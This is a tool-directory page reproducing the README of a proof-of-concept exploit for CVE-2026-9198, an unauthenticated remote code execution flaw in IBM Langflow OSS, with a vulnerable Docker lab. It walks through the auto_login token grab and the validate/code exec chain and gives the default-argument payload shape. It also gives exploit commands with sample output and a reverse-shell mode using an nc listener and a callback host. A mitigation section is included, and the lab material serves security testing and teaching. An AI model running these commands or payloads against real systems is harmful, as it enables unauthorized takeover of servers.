Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-9198
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHubjoaovicdev/exploit-cve-2026-9198

EXPLOIT-CVE-2026-9198

Proof-of-concept exploit for CVE-2026-9198, an unauthenticated RCE in IBM Langflow OSS, chaining auto_login and validate/code endpoints. Includes a vulnerable Docker lab for authorized testing and education.

View Repository
5h 37m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-9198 — IBM Langflow OSS Unauthenticated RCE

Proof-of-concept exploit and a self-contained Docker lab for CVE-2026-9198, an unauthenticated remote code execution vulnerability in IBM Langflow OSS.

The exploit chains two endpoints — auto_login (which hands out a SUPERUSER token to anyone) and validate/code (which runs attacker-supplied Python) — to get code execution as the Langflow service user, with no credentials required.

[!WARNING] For authorized security testing and education only. Run this exclusively against systems you own or have explicit written permission to test. The Docker lab in this repo is deliberately vulnerable — keep it on your machine and never expose it to the internet. You are responsible for how you use this code.

The vulnerability

CVECVE-2026-9198
ProductIBM Langflow OSS
Affected1.0.0 – 1.10.0
Fixed in1.10.1
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — Improper Control of Generation of Code ('Code Injection')
CISA KEVYes — known exploited in the wild

How it works

The exploit is a two-step chain that needs no authentication:

1. Get a SUPERUSER token — GET /api/v1/auto_login

Langflow ships with LANGFLOW_AUTO_LOGIN enabled by default. When it is, the auto_login endpoint issues a long-lived SUPERUSER JWT to any caller, no credentials asked:

root@kitploit:~
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

2. Execute code — POST /api/v1/validate/code

Since 1.3.0 this endpoint requires authentication (that was the fix for CVE-2025-3248) — but step 1 just handed us a valid SUPERUSER token, so the gate is useless. Internally the endpoint calls validate_code(), which compiles and runs every function definition it receives:

root@kitploit:~
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)                       # <-- runs the def
        except Exception as e:
            errors["function"]["errors"].append(str(e))   # <-- output leaks back here

Executing a def statement evaluates its default argument values. So a function whose default argument is exec("...") runs arbitrary code the moment it is validated — the function is never even called. Any exception raised is captured and returned in the response under function.errors, which the exploit uses to read command output back over HTTP.

Payload shape (the command is base64-wrapped to survive any quoting):

root@kitploit:~
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
    pass

Contents

root@kitploit:~
.
├── exploit.py           # the PoC (command execution + reverse shell)
├── docker-compose.yml   # vulnerable lab: langflow 1.10.0 + postgres
├── requirements.txt     # requests
└── README.md

Requirements

  • Docker + Docker Compose (for the lab)
  • Python 3.8+ and requests (pip install -r requirements.txt)

Run the lab

root@kitploit:~
docker compose up -d

Langflow takes a minute or two to become ready on first boot. Wait until it answers:

root@kitploit:~
curl -fs http://127.0.0.1:9999/health && echo OK

The service is bound to 127.0.0.1:9999 on purpose — it is not reachable from your network.

Run the exploit

Install the dependency, then point the exploit at the lab.

root@kitploit:~
pip install -r requirements.txt

Command execution

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"

Example output:

root@kitploit:~
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

Any command works: --cmd "uname -a && whoami && cat /etc/os-release".

Reverse shell

Start a listener:

root@kitploit:~
nc -lvnp 4444

Then fire the payload. When the target runs in Docker on the same machine, the container reaches your host at host.docker.internal (Docker Desktop); on a real target use your routable IP:

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

You get an interactive /bin/sh on your listener as the langflow user.

Options

FlagDescription
--urlTarget base URL (required)
--cmdCommand to run (default id)
--reverse-shellDeliver a reverse shell instead of running --cmd
--lhost / --lportReverse-shell callback host and port
--tokenUse a supplied bearer token and skip auto_login
--timeoutPer-request timeout, seconds (default 15)
--insecureSkip TLS verification (for https targets)

Mitigation

  • Upgrade to Langflow ≥ 1.10.1.
  • Disable auto-login in anything network-reachable: LANGFLOW_AUTO_LOGIN=false, and set real superuser credentials.
  • Never expose Langflow directly to the internet; put it behind authentication and network controls.

References

  • NVD — CVE-2026-9198
  • IBM Security Bulletin
  • CISA Known Exploited Vulnerabilities Catalog
  • Related predecessor: CVE-2025-3248 (the validate/code code-injection this builds on)
Download Tool